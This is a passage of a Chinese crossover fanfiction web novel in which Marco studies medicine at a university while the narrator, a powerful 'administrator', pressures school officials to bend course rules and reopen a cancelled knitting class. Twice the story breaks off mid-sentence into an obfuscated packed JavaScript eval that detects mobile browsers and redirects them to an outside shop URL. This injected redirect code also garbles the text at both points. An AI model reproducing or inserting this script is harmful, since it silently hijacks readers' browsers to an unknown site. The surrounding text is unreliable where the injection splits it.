诚如马尔科所说,内容的确很空泛,这种程度的内容根本不能称为“医学”,而是“科普”——论及深度,恐怕侃侃能有初升高的水准。 大学里存在这样的内容无可非议,毕竟三个世界的文化程度不尽相同:死神世界普遍文化水平高,火影其次,海贼不提也罢。 但是太无聊了,对我而言如此,对马尔科而言更甚。 难怪他一上课就织围巾,这堂课上完半程,我果断拉上他去吃饭。 食堂里人不多,我们坐在靠窗的角落里等待上菜。 不久,菜未至,上堂课的老师却突然坐到了我们边上。 马尔科连忙起身招呼:“老师,你好。” “啊,是你——” 他个子很高,一撮金色的头发很容易给人留下深刻的印象。初次见面,老师已经记住了他的名字,“马、马……” “马尔科。” “噢对对,马尔科!” 与我想的不一样,这位老师似乎是亲切的自来熟类型。 在我们旁边落座后,隔着一道走廊,他自然地同马尔科交谈起来:“马尔科,你书看得怎么样?” “看完了,谢谢。正要还给您。” “已经看完了吗?” “嗯。” “那……还是决定要申请提前结课吗?” “是,”马尔科把书包里的课本递了过去,“如果考试范围只是这本书的话,我没什么问题。” “……”这位老师收了书,没再和马尔科说什么,倒是和对坐的同僚说起,“副院长,这是今年的新生,从前是医生,从业超过二十五年了,他现在想申请提前结课。” “啊!是你今天要找我说的那个事?” “对啊,巧了,居然在这里遇到了。” “那真巧,”对坐的副院长和我们说,“提前结课倒是没有问题,但要考虑好,只有一次申请的机会,而且考核成绩必须要达到90%才行。” 90%难吗? 他颜色俱厉:“普通结课只需要60%的成绩,通关率也是。” “……”马尔科没接话,90%的成绩难吗?这件事如小马过河,没有经历,就不会有概念。 他答不上话。一如我所说,我也以为自己可以自力更生,但事实证明我不行。 有时候,以为只是一种主观的概念,并不一定等于客观的“真实”。说到底,真实是不同于想象的。 那位副院长是相似的观点,在这件事上希望马尔科能更谨慎一点。 简言之是劝退了,但理由比我以为的要温和一些。 老师也肯帮忙:“他的问题还不在于考试——他现在想要全方位的尽快结课,不仅我这门,还有其他的科目。但这件事我们学校好像没有先例……副院长,这事打报告上去能行吗?” “肯定不行,”对方铁口直断,“同学,虽然能理解你的心情,但是我们教务处系统有考核标准——一来,提前申请结课会占据每位授课老师的名额,每位老师名下的数额都有限;二来,你作为学生,退课率和结课率也要计入考量,数据太差最后是不能毕业的,也不能给你优等推介……这件事你考虑过了吗?” “呃……那是什么东西?”马尔科没有考虑过,他神色诧异,显然是第一次听说。 退课率和结课率,我也是第一次听说。 听起来有点像是我们管理员在办事处的后台评分系统——以防恶性接取任务、耽搁事务推进,接取率和完成率是两项重要指标,在年度信誉评分中占比极大。 之所以卡卡西说“同事打申请不予批准,而我们家一打申请却可以秒通关”,就是因为我的两率是百分之百。我名下任务接取总量少,但完成程度极高,按照学校的“毕业”说法,我在办事处属于绝对的“优等生”,能拿到全方位的“优等特权”。 虽然这件事本身和我不相干,我懒得做任务,那都是修兵和卡卡西勤劳的结果。 但他所说的“优等推介”……我想大概是类似的情况。 据我所知,办事处虽然不直接干涉普通人的生活,但譬如学校一类的公共机构,其身份系统会直接和办事处内部对接,运作流程上也有一定的共通性。 同样是第一次听说,我可以一点就通,而马尔科却显得格外茫然。 “‘退课率’是什么?” “是在选课程数量和历史全部选课数量的比值。正常区间在90%以上,低于90%有刷课的嫌疑,会降低计算综合成绩的权重;低于80%不予结课。” 马尔科堪堪点着头,似懂非懂的模样。 他来得时间太短了,身为能力者,但办事处的相关工作他一点都没有接触过。 倘若他有所接触,就很好理解:我想两者的运转模式非常相似,没有本质性的区别。 学校所谓的“退课率”和我们管理员的“接取率”一致,用来规避学生频繁操作,导致教务系统崩坏,浪费资源和算力;那“结课率”大概也等同于我们的“完结率”,是完成总数量和在接总数量的比值,用以评估个人综合实力水平——毕竟接了也不一定能完成,就像选了课也有可能会挂科一样。 至于成绩本身……或许也跟我们的“完成分”一样,是另外的体系,只评价完成质量。 分数是结果,“两率”是过程。 结果和过程不存在“哪个更重要”——真实的世界不是非黑即白——两者都重要,都得纳入考虑。 “‘结课率’就是你历史完课数量和历史在选课程的比值,要求更严格。及格线为95%,优秀必须是100%。”那位老师果然解释出了和“完结率”相同的定义。 我不意外,马尔科也渐渐摸索到了思路:“我知道了……所以说,毕业不只要求分数合格。而且‘申请提前结课’也是有名额限制的?” “对,”老师肯定,“每个学生在一个自然年里可以申请三门课提前结课。我手上还有名额,如果你真的准备好了,在试课结束以后,到教务系统上申请,我会尽快给你准备试题。” “好的,谢谢,不过为什么要等试课结束?” “试课阶段的换课、退课不计入‘退课率’和‘结课率’,只有试课结束以后才算是盖棺定论。现在还有两天时间,你要先把课程定下来,然后才能申请。” 这是好消息。马尔科最近频繁换课、退课,如果最近也要计入考量,他的“两率”岌岌可危。 闻言,他轻舒了口气。 “我会好好考虑的。” “一定要考虑好啊——你既然有丰富的从医经验,学起来应该不难。可以试着控制一下两率,参与‘优等生’的评比,这会对你日后就业起到极大帮助。” “好的,谢谢,”马尔科连连点头,“那么,老师,我还有一个问题?” “你说?” “至今为止我也选不到的一些课要怎么办?还有机会吗?” “你说的是灰色的课吗?”一直沉默的副院长突然接了话,“医学科目不是儿戏,必须拾级而上。很多课都有前置课目,只能在前置课目完成后,才能继续选择。” “哦……原来是这样,”马尔科点着头,脑筋转得快,“那也会有时间的前置条件吗?我是说一定要明年才能选这种?” “当然有了,一年生只能接触理论课;二年下才可以开始接触实操类别的课程,但也仅限于小型外科类;要等到三年或者四年才会全部开放。” …… 也就是说,条件繁多,层层加码。医学方向十分严谨,但也把马尔科求学的脚步彻底阻拦在外。 他本想退课——但退课不行,理论是前提,退掉就不能选后续的课程;我建议他提前结课,而提前结课也不行——每年只有寥寥三五个名额,现在他选了几十门课,只提前结三五门课也只是杯水车薪。 既定的规则只允许医学生按部就班的发展。 没办法。人活着有标准,做事也要有流程。那种东西形成了定势,所有人都要遵守规则去运转,这样世界才会和谐有序。老师们也只是规则的执行者,没有更改和扭转的权利。 “好吧,我知道了,谢谢老师。” “不用谢。” 事已至此,没有可讨论的空间了。话题兜兜转转,又回到原点,且无法向下推进。 马尔科转过头跟我讲:“这样的话就没有办法在两年内读完大学了。” 我不由得一怔。 他说“两年内”——这个时间节点非常特殊。眼下他出现在这里,只是一个“意外”,两年后他还会回去海贼世界,去和之国大显身手。这件事我和卡卡西只在第一次见他时讨论过。 我以为那时的马尔科魂不守舍,原来他在听啊…… “你想要在两年里完成学业吗?” “嗯,”他点着头,“本来计划着把初级的课程全部申请结课了,这样就可以在两年内完成。但是现在……提前申请结课有名额限制,也不能随意退换课,那就行不通了。” 马尔科非常自信,施施然开口,一鸣惊人。 旁桌本停止聊天的两位老师都被他震住了,我也亦然。 之前他没有跟我说过他对未来的规划,我也没有询问,我总认为时间还很多,可以慢慢来。即便我也察觉到敢在医学上深造的都必然有过人之处,马尔科一定是高材生,但我也实在没有料到他甚至不是一般的高材生啊…… 学校只要求学生们在入校四年时间内完成一百五十学分的课程,特殊专业的定向生——譬如医学——可以延长至五年。 任何学校的开课时间都是早上八点到晚上九点二十分,对同一学生而言,一天满打满算可以上五节课。 按照正常的学业规划,一周上五天课,每天上两到三节,剩下半天时间消化、复习知识,一百五十分刚刚能支撑三年左右的课程,剩下一年时间去社会实习。 马尔科想在两年内完成,除开强制性规定的一年实习,那他需要在一年内完成别人三、四年的学习量。这想法太疯狂了,也太超乎想象。 而且他不是一百五十学分,他名下有将近三百学分。 他是说他想在一年内完成别人七、八年的学习量。 身为他的管理员,连我都大为震惊,旁坐的两位老师更是瞠目结舌。 “——你是新来的吗?之前是哪个世界的人?” “呃……这个可以说吗?” “当然可以,学校要讲究因材施教。” “哦,我是海贼剧组的。” “——海贼?!”马尔科不说还好,一说,两位面面相觑,目瞪口呆更胜一筹,“之前不是还开会说海贼的文化水平普遍低吗……” “哈?是吗,”马尔科推了下眼镜,只是微笑,不再多言。 就像我说的,人是活在时间里的生物,会凭借过往的经验认识现在。但马尔科很特别,他是那种会颠覆想象的存在。这一点和生活在死神和火影里的人很不一样。 我可以理解到他们的震撼,毕竟我们家已经全员接受过马尔科的“震撼洗礼”。 海贼真是一个神奇的地方。 从前我给修兵介绍海贼世界的话,如今又回响在我脑海——“那地方超越了想象”。 我并不认为马尔科在夸夸其谈,他看起来淡然从容,而且就我所知,他性格认真,并不浮夸。 所以我想,他之所以会有这种想法,是因为他笃定自己可以做到。 于是初见时使我困惑的问题,在这一刻,答案呼之欲出。 马尔科早期是航海士,后来不知道为什么,成为了船医——如果他从来是这种敢想敢做的风格,那么天底下有什么事是他无法做成的呢? 何况他的确精力充沛、异于常人,不仅敢想敢做,而且有资本可以奋起直追。 千言万语汇成一句:真了不起啊,我们家的马尔科。 我就说吧,他是自由的鸟。 即便教务处有自己的规则,人活着必须要遵守世界的规则。马尔科的计划难以实施,但他还是给这个世界带来了很多想象。 厨房开始上菜了。食堂的师傅推着小餐车,高声叫着排号。 我们是57号,旁边两位是59号。两辆餐车推来,两边一起上菜。两位人高马大的健硕男士加在一起才吃两个菜。我和马尔科坐一起,两个人点七个菜一个汤。 他们的菜色寡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151566|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡,只有一盘秋刀鱼,配一份天妇罗。 而我们的丰富多彩:白切鸡、腰果虾仁、麻婆豆腐、红烧排骨、糖醋里脊、白灼虾、蒜泥茄子、番茄蛋汤。 …… 我们天天都点七八个菜,但只有今天这两位坐到了我们旁边。 所以不是我们太惹眼,是他们对马尔科有太多的好奇。 先前分明是对坐老师的性格开朗些,我这侧的副院长性子沉稳,但现在却打起了颠倒—— 目光碰撞,是副院长率先发问:“说起来……你是学生,为什么在教师食堂吃饭?” 对坐的老师也接话:“啊对,我一直都想问!” 教师食堂和学生食堂并不是同一个。为方便教师用餐,门口设立了门槛,需要鉴别教师身份才能进入。里面环境整洁,还可以提前在小程序上下单,无需排队;价格也便宜,有学校补贴,每月八百就封顶。 马尔科在教务处登记身份是学生,他能出现在这里,肯定不因为他自己。 虽然两人询问,但是质疑的目光早早地飘到了我身上。 “呃……”马尔科解释不清楚,“我是跟着我家大小姐进来的。” “大小姐?”他们看看马尔科,又看着我,“什么意思?” “就是字面意思。”马尔科说。 话没有说错,我们之间的关系没有办法细讲。管理员和普通人的生活完全不相关,本应泾渭分明。 这个回答却并不使他们满意,迅雷不及掩耳之势,我成了焦点。 对面愈发仔细地端详起我来:“这位……好像没见过,是今年的新老师吗?” “不是吧?今年没有女老师。” “那——” “……”我无奈拧眉。 我始终沉默着,不希望引人注目。但对面的两位都是聪明人,这种话题无法回避,早晚会引火上身。 问题既然产生了就直面和解决,大可不必掩耳盗铃,视而不见。我既然躲不过,也就没有必要再躲闪。何况马尔科的求学问题也总归要解决。 这件事两位老师有心无力。 先前一番对话已经表明了马尔科想要的“未来”远远超出了他们能给的范畴——怪不了他们,就像渐次不给我们开锁的钥匙,也怪不了渐次一样——人处在什么位置,就该做符合身份的事。 卡卡西那句话说得极好——“不要给自己找麻烦”。 这也不怪马尔科,他初来乍到,不知道我们这里规则林立。他也不需要知道,他是自由的鸟—— 我要他做自由的鸟。 事已至此。 我索性放下了筷子,迎着两位的目光:“老师。” “啊……是?” 这里是教师食堂,只有教职工才能进入。而学生与教师之中,马尔科已经是学生了,不能再变成教师——他和我坐在一起,我的身份只可能是在任教师一种。 但他们已经肯定了不曾见过我的面容,我不是教师。那我只可能是别的——教师食堂一人一卡,就算我是教师,我也不可能把马尔科带进来——要说别的,也只有一种可能。 即便我们不说,他们也会猜到的,早晚会猜到。 因为我不想去人挤人的学生食堂,卡卡西替我想了办法。早些时候填写马尔科的入校申请时,我们家曾借口“有不方便说的原因”,这就成为了理由,我现在的身份是“驻校监理”。 原则上,所有管理员都要同时承担管理和监督的职责。但我懒,学校离我们家只有半小时路程,我却从未理会此事。 现在马尔科要上学,我也得跟着。卡卡西临时替我申请了一个“驻校监理”的工作岗位。 他真的是一个天才! 我挂名在此,若真有违规事件,举报即可;若没有也不妨碍。办事处奉行“多劳多得”原则,为此我不仅能领取补助,还可以借助“驻校监理”的公职身份,领取到两张教师食堂的饭卡。 我们在教师食堂连吃一星期。教务处系统自然会识别出有办事处公务用的饭卡被激活了。 最近校内已生出传言,有管理员在此活动。我们走在校园里,偶尔会听些风言风语。 ——我是什么身份,假以时日,两位会知道的。 既然马尔科不想认识新的朋友,那我没有任何值得隐瞒的必要。 我把毛衣的领子往下扯了一点,露出脖颈上醒目的标致—— 所有的打量和询问都在这个数字显出的一瞬间戛然而止。 周遭连呼吸都停滞了,更不会有人回话。 我不必等,直抒胸臆:“不要声张。现在有两件事要你们协助—— 首先,我家马尔科来这边读书,想系统地学习医学方面的知识,但贵校医学相关的课程太繁杂,我们对于这些并不了解。希望学校方面能派出专业的人给我们一些建议,最好是列出一张目录清单; 其次,我家马尔科本就是医生,拥有丰富的临床经验。他宝贵的学习时间要花费在未知的领域,而不是早已烂熟于心的基础上。所以在接下来的一段时间里,他在全面评估以后,会对自己已掌握的课程申请结业考试,我希望在这一点上不会遇到太大阻碍,至少不要在程序上; 然后,我们入学时间晚,有许多课程因为满员不能勾选,希望贵校通融,无非是多张椅子的事,不要因为名额阻碍他求学的心; 最后,学校是学习的地方,他目前的身份是普通学生,我不希望有任何流言蜚语影响他正常的校园生活,也不希望贵校老师们为他另设标准——明白我的意思吗?” 我没有和马尔科解释为什么我会“打扰到他”的社交,现在他就会知道了。我之所以不喜欢显露管理员的身份,是因为一旦显露,事情就会变得很麻烦。 我是客气的,绝对没有用命令的语气。 然而他二位依然会颤栗—— “……明、明白!” 我微微颔首,既然明白,那我要说第二件事—— “烦请二位把刚才的话传达给校长,让他准备好了,下午在办公室等我。” “好、好的,我、我们这就去安排!” 他们连饭都不吃,僵硬起身,先是慢走,然后一路小跑。 食堂里鸦雀无声。风一吹,仿佛旁坐无人来过。 “好了,解决了,吃饭吧。” 我和马尔科说。 聊天太多,饭菜都要凉了。 浪费食物非常可耻。我们家没有这样的习俗。 下午的事下午再说。我提起筷子,大快朵颐。 马尔科眸光闪动,看着我,不语而笑。 21.11 浪漫(3) 教师食堂的饭菜很和我胃口。 原则上,任何个人、单位和机构,但凡生活在这个世界,都有辅助管理员工作的责任和义务。尤其是诸如大学、图书馆一类的公共机构,必须为管理员开设“专属空间”;其名下食堂也会为管理员提供“专属服务”。 如今管理员们都开始在固定辖区内活动,这种特为游动管理员而生的“专属”概念淡化了许多,许多地方都已不再适用。但《深受管理员好评的一百道菜》仍作为配套项目,是公共机构厨师就职前的必过的一道门槛。 虽然我们所在的城市偏远,但规矩一点不差。食堂大师傅的厨艺相当在线。 许是听说最近有管理员在此活动,起初食堂里每天只能见到一两道“管理员菜系”,严格符合《规定》要求。最近几天却逐渐增加至每天十道。大师傅好像没有创作瓶颈,每天都在不遗余力地展示技巧。 身为管理员,我很是受用。 自打进入试课期,我和马尔科就不再家里吃饭了。一日三餐通通选择食堂,短短半周,两张饭卡都已经吃满了每月八百块的上限。 这笔费用是从办事处特批的“公用饭卡”上扣除,流水走我的管理员账户——反正账上欠钱,欠着吧,不差这一点,支持大师傅创作才是要紧事。 我和马尔科从食堂出来,约莫快到一点。 平常饭后我们都会沿着操场跑道慢走几圈,今日有事,他直接领我去了学校北边的行政办公楼,赶在两点上课前,自己再折返回南边的教学楼。 “你一个人可以吗?” “我可以。” 他并不是很放心,揉了揉我脑袋:“那你在这等我,我上完课就过来接你。” “好。”我微微点头,目送他走远。 两点不到,行政办公楼严阵以待。 四点半我下来,马尔科居然刚好抵达楼下的空地。 “!” 我快步上前,伸手去拉他,他亦朝我伸手,笑吟吟地一把把我拖去了他的怀里。 “还好吗,大小姐?” “还好,”我点着头,问他,“我的围巾是不是拿到了最高分?” “没有,”他满是遗憾地回答,“我刚过去,老师突然通知我,这门课因为人数太少,被取消了。” “什么?”我怀疑我听错了,“取消了?” “嗯,临时的通知。” “为什么?!”我不理解,“可是你们都已经做好了!” “那也没办法,确实人太少了啊。” 马尔科耸了耸肩,心态倒是平稳。努力了未必能有成绩,但起码有围巾。他把围巾绕到我脖子上,朗声宣布从今天起它就是我的了。 “不行!”我说。 “什么‘不行’?” 取消了?为什么?凭什么? 我不理解,也不答应。 离开行政楼还没有三十米,我记得路,拽着马尔科又回去了。 校长正在喝茶,我的到来使他坐立难安。 “——管、管理员大人!”他瞬间从椅子上弹射起来,立得端端正正。 “为什么要取消毛线编织的课程?” 我没有生气,我只是太过于不理解,以至于嗓门有点大。 “……”校长脸色惨白。 “呃,大小姐,”马尔科拉着我的手,把我往后拽。 我不肯,更向前去,问校长:“没有经费?向办事处提交申请,我来批。” 我的声音或许有点太大了。刚才开会的那群领导一个也没离开,闻声立马从旁边办公室冲了过来。 分管课程开设的副校长解释着:“……管理员大人,不是经费的问题,是我们没有教室了。” 这简直荒唐。他居然说没有教室,但我名下就有一间“专属休息室”。 “我的办公室在哪里?” “呃……在楼上。” “开课。” “可是……这是给您的,按照规定,管理员驻访期间,我校有义务配合工作。” “开课。” “呃……好、好的。” 他用眼神请示校长,校长没有拒绝。这课得开,我说得开就必须要开!校长办公室两个电话拨出去,很快,马尔科的手机响了,被通知毛线编制课又可以上了,让一个小时后再去评分。 无事了。问题解决。 这次我和他一起去评分。 “这里的人都是这样的吗?”从办公室出来,马尔科问我。 “什么?” “……嗯,我也说不清楚,总觉得有点小心翼翼。” 风吹过来,我迎着风,不禁失笑。 校长是很小心翼翼,但他的表现已经好很多了。下午我刚去他办公室时,一开门,他差点没给我磕一个。而且不仅是他——走廊里五个副校长整齐划一地站成一排,靠着墙像犯了什么错误;隔壁房间,医学院的教职工个个正襟危坐,等待校长办公室发号施令。 一如马尔科的观察,他们每个人都是战战兢兢、小心翼翼。 这种事我见怪不怪。 这个世界没有“神”,最高掌权者是搭建这个世界的管理员们。 而在某种意义上来说,排位前九位管理员每个人身上分别背负着诸如“审判”“公正”“文明”“创造”“平衡”“科技”……一类的“权能”,和身为“替补”的第十号管理员一起,虽不是“神”,却普遍被认为等同于“神”。 而我脖子里的编号是“十一”。 普通人穷极一生也难见一次管理员,更何况是我这种“近神之位”。 就像明知一头猛虎不会咬人,出于本能,普普通通的人类还是不敢在它面前乱来一样——即便我是客气的,是商量不是命令,我所说的话也如金科玉律,是不可亵渎的“王法”。 他们丝毫不敢懈怠,只会唯命是从。 至于马尔科……他绝对是个“例外”。 他在问我,我看着他。 风吹乱他的头发,他勾着一侧嘴角,眼睛清澈见底。面对着我,张扬自在,脸上没有办公室里的唯唯诺诺,也不理解那种唯唯诺诺——自打第一天见我,他的眼睛有过迷茫有过困惑,却从来没有流露过丝毫的胆怯。 彼时我对他不够了解,不能确定他的坦然是否只是一种“无知无畏”? 现在我知道了——笼子里的家雀总是憧憬外面的天空,然而真当主人打开笼门,它却未必敢于振翅。而马尔科没有这种烦恼。他是自由的鸟。 当然,目前他还没有见识过管理员的力量。 在他见识过后会不会有所变化呢?我不知道,也不需知道。人不应该为尚未发生的事情忧愁,未雨绸缪和杞人忧天也有本质上的区别。 不重要。以后的事以后再说。至少现在,我看到的马尔科坦然无畏。 别人一见我便畏畏缩缩,而他甚至会无师自通地反过来教训我—— “你也真是的,”马尔科拉着我,一边走一边说,“你不是说你最怕麻烦吗,那还去多管闲事,这下全学校都要议论十一号管理员是位厉害的小姐了。” “有什么关系,”我不在意,“我本来就很厉害。” “我不是夸你,”他瞥了我一眼,无语又好笑,“校长都说没有地方了,这样不是强人所难吗?” “我不管。” “这样真的有必要吗?” “有必要!” 我很少有这样坚决的时候。每当我格外坚决,修兵和卡卡西都会在僵持中落败下风。 马尔科也不例外。他也选择了妥协,却不完全妥协,转而对我的围巾指指点点—— “真的有这么喜欢吗?也不是很好看……” “!” 世界上怎么会有人不满意自己的作品?我不理解,我大为震撼。 “不许说我的围巾!”我要生气了,“这是世界上最好看的围巾!你不许说!” “……”马尔科愣了下,“好好好,是最好看的围巾。” “生气了?” “生气了!” “那要怎么办?”他柔声问我,弯腰凑到我跟前的样子有一点滑稽。 “你说它是全世界最好看的围巾!” “好好好,”马尔科说,“它是世界上最好看的围巾!” “你保证!” “我保证,我保证!” 他那不是“保证”,两指指天的姿态是在“发誓”。看在他如此虔诚的份上,我姑且原谅他了。 “下不为例!” “好好好,一定一定。”可我真原谅他了,又去拉他手时,马尔科却突然笑起来。 “你笑什么?”我不理解。他眉眼弯弯地瞧着我,看起来分外开怀。 “哈?没有,”马尔科郑重地推了下眼镜,但欢乐还是从他上扬的嘴角泄露了秘密,“……没有啊,就是突然有点理解为什么会叫你‘大小姐’了。” “我脾气不好。” “哈?这跟脾气有什么关系,你刚才真的生气了?” “我生气了!” “哈?你居然会因为这种事情生气啊……” 什么叫“居然”?这话我不爱听。我拽住马尔科不允许他走,先把话说清楚—— “它很珍贵!” “什么?” “马尔科的心意很珍贵!” 我们家并不富有,总有人的家庭像我们家一样拮据。他们也会像我一样,非常需要这一条学校免费赠送的围巾。 这不重要吗?开什么玩笑,怎么能用“居然”?! 世界上总有人需要一条围巾。不能因为大多数人不需要,就否认小部分人需要的价值啊! 存在本身就是意义。 ——马尔科怎么能这样说! 我越想越生气:“我的围巾这么好看,你还说它坏话!” “我、我没有——”马尔科立直了,“真的没有,不是那个意思,大小姐,你听我解释!” “那你快解释!” “我刚才去上课,见到了另外两个同学的作品——她们做的很精美,我这个相形见绌。” 马尔科再三保证,绝对不是主观的贬低,只是客观的评价而已。 “真的?” “千真万确,一会儿见到你就知道了。真的不是贬低你的围巾,只是客观评价。” “……”好吧,姑且原谅他了。 话说清楚了就快走吧。我们还要赶去给我的围巾打分。我倒要看看,马尔科说得精美究竟能有多精美。 马尔科牵着我,不停地偏头,看我脸色。 “干什么!”我瞪他。 “没什么,”他又在笑,搞不懂在笑什么,“就是想问一下连生气都超级可爱的大小姐,选课的事怎么样了?” “没怎么样。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183336|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘没怎么样’是怎么样?不会卡卡西一回来,发现我们给他惹了一船的事吧?” 马尔科……是经历过太多,还是有什么特别的文学天赋吗? 他用出了好奇妙的形容,让我迅速联想到了卡卡西舟车劳顿,好不容易回家休息,一推开家门却发现家徒四壁除了麻烦,所以无语地直扯嘴角的样子。 “没有,”我已经笑起来了,“我都解决了。” 我真的没有为难他们的意思,需要解决的问题也已提前告诉那位医学院的副院长了。之所以来这一趟,不是不相信校方的办事水平,是因为我知道身为医学院副院长无能为力的差事,换了校长一样爱莫能助。 还是那句话,能力使然。 被规则约束的人,不会是规则的制定者。能制定规则的人,必然凌驾于规则之上。 除了我,他们都没有凌驾规则之上的能力。 换句话说,学校只能替我们解决有关专业方面的推荐,按照我的思路和要求辅助马尔科的学业;至于公平起见,所有学校的教务系统都规定“每学期只能申请提前完课三到五门”“非试课阶段退换课将计入退课率影响优秀毕业生推介”一类规定性质的差事,他们管不了,只有我可以做到。 我想过了—— 教务系统的规定本意是好的。如果人人都随心所欲地跳级,学校就会失去一些天然的公平性。 这对于社会稳定而言,有害无益,只会加剧学生们的焦虑。也会把这种不必要的焦虑带到社会。 但我们家情况特殊,马尔科毕竟是能力者。 所有的能力者都一样,因为能力“天然有罪”,必须戴项圈接受监管,和管理员同吃同住。而这里是公平的。既然他们天然失去了做普通人的权利,自然可以额外得到一些别的。 我不认为这是一种“特权”。 人活着不能只看明面上的“得”,不管背地里的“失”。 我认为教务系统的规定只适用于普罗大众。 马尔科身为能力者,无需遵守也不必占据名额指标。我要他做自由的鸟。所谓自由,是指他无需考虑现实,什么都好,只要他想,我来替他实现。 “……你别管了,反正就是解决了。” 我不好说,说也说不清楚。他更没必要知道管理员和办事处打交代的方式。 总之没那么复杂。卡卡西打申请尚且易过,更何况是我亲自打报告呢。 “不要浪费时间了,”那不重要,我催马尔科搞快点,“快去评分,我的围巾肯定是最高分!” “是是是,我的大小姐……”他一路走一路笑,连笑都比别人更大声。 课程已经完结了,这次评分没有选在教室,而是选在学校小花园里。 我们去的时候,另外两位同学刚走。很可惜,我没能瞧见她们的作品。但我仍然不相信马尔科亲手编织的围巾是他所说的那等“不值一提”。 我们把它交给老师评理。老太太听了马尔科的阐述,满面容光。 四五点阳光正好,风徐徐吹着,金色的扇叶落了满地,秋意扑面而来。 我在一旁等待马尔科结课。边上立着一位银发斑斑的老者,似乎也是在等人。秋风从我们之间溜过,伴着树叶的婆娑声,隐约能听见公园里面两人的交谈。 “……所以当初选择这门课,是要送围巾给小姑娘的吗?” “啊,是的。” 老太太总是乐呵呵的:“她看起来很喜欢呀?” “嗯,没想到这么喜欢呢,”马尔科讪讪地笑,“抱歉老师,请尽可能地给我一个高分吧。刚才惹了大小姐生气,分低了可不好哄啊。” “……知道不好哄还惹人家做什么?” “第一次知道,下次不会了。” “那好吧,看在你的‘下不为例’上,会给你高分的,第一次能做到这个程度已经非常不错了,”老太太笑吟吟地把围巾还了回来,“下次可不要再惹小姑娘生气了哦——” “记住了,一定一定。” 马尔科带着围巾回来了。晚上教务系统推送了结课分数,是满分,老师给了他满分。 “你看!我就说是最高分!” “是是是,我的大小姐,”他把我塞回被窝里,“睡觉了,你别乱动。” “哼。” “……”他在我头顶呵呵地笑,“还生我气吗?” “不生气了。” “不生气哼哼什么?” “哼。”我从被窝里探出头,“马尔科,你会不会做书签?” “书签?” “嗯。小花园的落叶很漂亮,我们明天去那边捡几片银杏叶做书签吧?” “好啊,”马尔科把我顶开的被角往里掖了掖,“不过为什么突然想做书签了?” “你到来的第一个秋天,它都快过了,我还没有把它保存下来。”我回答道。 马尔科笑着:“你想保存下来吗?” “嗯,是的。我要保存下来。” 灯关了,我看不见他的脸,只能听见他胸口跃动的心跳。 墨一样的夜色里,那声音微弱如游丝,稍不注意,转瞬即逝。 “最近我看很多人都在那里拍照。明天中午我们也去拍照吧,好吗?”后来我听到马尔科问。 我连忙仰头:“那要把我拍得好看一点!” “好,”他把下巴轻轻抵在我发顶,“都听你的。” 22.12 积极(1) 马尔科不必听我的,我迷迷糊糊想着,是我要听他的。 时间如同心跳,一不留神,就会消逝。 当秋叶开始大范围飘落,冬天便不会太远。而冬天悄然将至,一年也就快要画上句号了。尽管我们的生活才刚刚开始,时间就是那样无情的东西,它不等人,只管流走。 我无所谓未来会怎样,随遇而安而已。但马尔科有清晰的目标,想在一年内完成别人七八年的学习量。即便他有多年从医的经验,并不是一无所知,这也仍然是一个极具挑战性的任务,需要他在短短一年内整合过去几十年的历练,并且将其编译成现在的“语言”——某种意义上而言,也是一种“从零开始”。 我允许他去做自由的鸟,只要不违法乱纪,我都不会干涉他想航行的方向。 我知道人之所以会设立目标,是为了抵达而非放弃。而马尔科之所以这样决定,是因为那就是他心之所往的地方。 可时间着实太紧了。偶尔,我会思考马尔科会不会给自己的压力太大了? 为此,我观察了他足足一个月—— 一个月。 食堂大师傅的创作开始遭遇瓶颈,《规定》要求最受管理员好评的一百道菜里得熟练掌握七十道,七十道以后,每多十道,增加一个评分等级。 我们连吃一星期瞧不出水准,连吃一个月,他的技术开始飘忽不定,大不如前。 而马尔科被我连续观察一个月,他对学习的热情却是别无二致的充足稳定。 我不得不承认我的思考显得多余,我们家马尔科是……先天学习圣体! 恶魔果实果然会对食用者会产生全方位的影响。 我发现了,马尔科体能优秀,耐力水平一骑绝尘。就连卡卡西和修兵,两个能力者,也是望尘莫及。 上个周末,我在客厅追完时尚潮流周刊的颁奖晚会,洗澡护肤,准备上床睡觉。 都十一点了,马尔科突然说他要晚点睡,想做套试题。 “这个点做试题?” “嗯……这本书马上看完了,基本都会,测试一下看看。” 但我看他手里的书还有厚厚的一叠没有翻阅,看完约莫凌晨一两点了,他还要做试题? 我不理解,我大为震撼! “你不准备睡觉了吗?” “我晚点睡,你先睡吧,”他把被子掀开让我快进来。即便和我说话,眼睛也一动不动地盯着他手里的书本。 ——真有人读起书来手不释卷啊? 这对我来说可太震撼了! 我不知道别人,我只知道我自己——学习当然是好的,万般皆下品,惟有读书高——只是让我学习的话……就不太行。 不感兴趣的知识,我学一会儿就疲惫;感兴趣的内容稍微好点,但也好不了太多,学多了还是很累。 修兵总说我和卡卡西是“脆皮”选手,日常“缺蓝”。他形容地十分贴切,我和卡卡西诚然如此,容易疲惫,经不起太多折腾。 要我像马尔科这样高强度自主性学习,我绝对不行,别说我了——高强度连续学习一个月,周内五节课拉满,从早上八点一直到晚上九点半,周末非但不休息还要更进一步查漏补缺——这样连轴转,就是不算“脆皮”的修兵也不行啊! 我们的身体是肉长的,而马尔科的身体像铁打的。 整整一个月了,他似乎完全不会累,也几乎不需要休息。 “怎么了?”见我没睡,目不斜视盯着他看,马尔科换了个姿势,单手拿书,腾出一只手来抱我,“冷吗?” 